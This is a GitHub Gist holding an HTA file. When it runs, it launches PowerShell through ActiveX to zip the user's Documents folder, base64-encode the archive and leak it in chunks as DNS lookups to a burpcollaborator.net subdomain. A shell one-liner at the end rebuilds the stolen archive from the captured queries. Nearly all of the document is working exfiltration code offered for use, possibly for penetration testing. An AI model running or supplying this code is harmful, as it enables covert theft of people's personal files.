Created
October 12, 2019 15:18
-
-
Save hateshape/31876e6efbae78cf0317d38b26afb482 to your computer and use it in GitHub Desktop.
HTA File to Zip All Files in a Users' Documents Directory and Exfiltrate Via DNS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html><head><meta name=ProgId content=htafile></head> | |
<hta:application id=x><script> | |
try { if (x.commandLine != ""){ | |
new ActiveXObject('WScript.Shell').Run("powershell.exe -command $a00=(Resolve-Path ~);Compress-Archive -Path $a00/Documents -DestinationPath 'a.zip';$c=[Convert]::ToBase64String([IO.File]::ReadAllBytes('a.zip'));$r1=$c | Foreach-Object {$_.Replace('=', 'EQ')};$r2=$r1 | Foreach-Object {$_.Replace('/', 'SLASH')};$r3=$r2 | Foreach-Object {$_.Replace('+', 'PLUS')};$e=($r3 -split '(.{50})'| ? {$_});for ($i=0;$i -lt $e.Length; $i++) { $f=$e[$i]+'.'+$i.ToString()+'.u61vj1t81tyg2t3az0hb4ujvum0co1.burpcollaborator.net';nslookup -type=A $f;sleep(2)}",1) | |
} | |
} | |
catch(ex){ alert('Error');} | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Make the Zip File Have Happy Base64 Data:
awk -F. '{print $2, $1}' zipfile.txt | cut -d' ' -f2 | sed ':a;N;$!ba;s/\n//g' | sed 's/PLUS/+/g' | sed 's/SLASH/\//g' | sed 's/EQEQ/==/g'